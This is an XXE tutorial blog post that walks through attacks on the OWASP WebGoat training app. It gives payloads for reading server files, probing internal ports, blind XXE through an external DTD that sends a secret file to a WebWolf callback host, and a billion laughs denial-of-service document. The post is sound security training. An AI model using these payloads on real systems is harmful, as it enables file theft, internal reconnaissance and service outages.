XXE tutorial in practice – OWASP Top 10 training

Hello and welcome to this OWASP Top 10 training series. Today, you will practice XXE injection on OWASP WebGoat. By the end of this XXE tutorial, you will achieve the following goals:

  • Exploit XXE to Read internal files from the vulnerable server.
  • Pivot from XXE to SSRF
  • Exploit a Blind XXE
  • Perform the Billion laughs attack

If you don’t know what XXE is, I prepared an in-depth XXE article about it.

XXE tutorial to read internal files

In this challenge, we have a comment feature which uses XML to carry the user input. 

  1. Login to your WebGoat instance, and go to the third challenge in the XXE menu
WebGoat Simple XXE challenge
WebGoat Simple XXE challenge
  1. Configure your browser to proxy HTTP requests through OWASP Zap or Burp Suite. Then, send a comment. You should see a POST request in your Web Proxy, with XML as POST data.
Potential XXE in the XML POST data
Potential XXE in the XML POST data
  1. Based on the explanations we provided in the XXE vulnerability theory, we will use the following XML POST data to read the secret.txt file from the remote server.
<?xml version="1.0"?>
<!DOCTYPE author [
<!ENTITY xxe SYSTEM "file:///home/webgoat/.webgoat-8.0-8088465//XXE/secret.txt">
  1. Upon sending the malicious request above, we can see that the content of the secret file WebGoat 8.0 rocks... (vrSjRdhjst) shows up in the comments list.
XXE exploitation to read internal files


Because we can use almost arbitrary URIs during an XXE attack, instead of using file://, we will use http:// to enumerate internal ports running on the server.

  1. Repeat the previous exercise.
  2. Instead of the previous POST data, use the following one:
<?xml version="1.0"?><!DOCTYPE author [
  <!ENTITY xxe SYSTEM "http://localhost:22">
  1. Note that we are targeting the port 22, typically used for SSH.
  2. We receive a reply which clearly states that there is no service running on port 22.
Connection Refused indicates that the port is not accessible
Connection Refused indicates that the port is not accessible
  1. We can easily automate the process of discovering internal ports using OWASP ZAP’s fuzzer or BurpSuite’s Repeater. 

Note that you can also discover neighbor IP addresses, not just ports.

Blind XXE using an external DTD

As we explained in the XXE vulnerability theory blog post, you don’t always receive feedback from the application. We were just lucky that our comment input gets listed in the comments list area. If a moderator was verifying incoming reports, chances are that we wouldn’t have our malicious comment listed. This is where Blind XXE comes into play.

  1. Firstly, let’s prepare an external DTD file to host our callback and internal file to read. On WebWolf, log in using your WebGoat credentials and go to the Files tab. 
  2. Upload the following file while substituting webwolf-instance with your WebWolf IP address.
<!ENTITY % file SYSTEM "file:///home/webgoat/.webgoat-8.0-8088465//XXE/secret.txt">
<!ENTITY % bar "<!ENTITY &#x25; out SYSTEM 'http://webwolf-instance:9090/landing/xxe?content=%file;'>">
  1. Go to the seventh XXE challenge
  2. Submit a comment and capture the request in your Web Proxy like we did in the previous challenges.
  3. Use the following XML POST data. Note that {username} and {filename} should match your WebGoat username and external dtd file name respectively.
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://webwolf-instance:9090/files/{username}/{filename}"> %xxe;]>
<comment>  <text>no need to inject here</text></comment>
  1. When you send the request, go to the Incoming Requests tab on your WebWolf instance.
  2. You should get a callback in your WebWolf instance like the one below, with the content of the secret file.
Blind XXE successfully exploited using an external DTD
Blind XXE successfully exploited using an external DTD

XXE to DoS

XXE can lead to Denial of Service. In this example, let’s perform XXE billion laughs attack and see what happens.

  1. Go to the third XXE challenge and repeat the steps we did on our first section.
  2. Use the following payload to inject the word laugh a billion times in a comment
<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "laugh">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
  1.  Notice that you get the following error from the server.
JDK doesn't allow unlimited entity expansions
JDK doesn’t allow unlimited entity expansions
  1. The response indicates that JDK is properly configured to perform 64K entity expansions at most. This behavior is controlled using the jdk.xml.entityExpansionLimit option. As you can see below, if its value was less than or equal to 0, we would have crashed the server.
 JDK entity expansion limit option
JDK entity expansion limit option

That’s it! I hope you enjoyed this XXE tutorial. Subscribe now to the Friday newsletter to receive updates about new content

And as usual, here is your XXE tutorial on Youtube.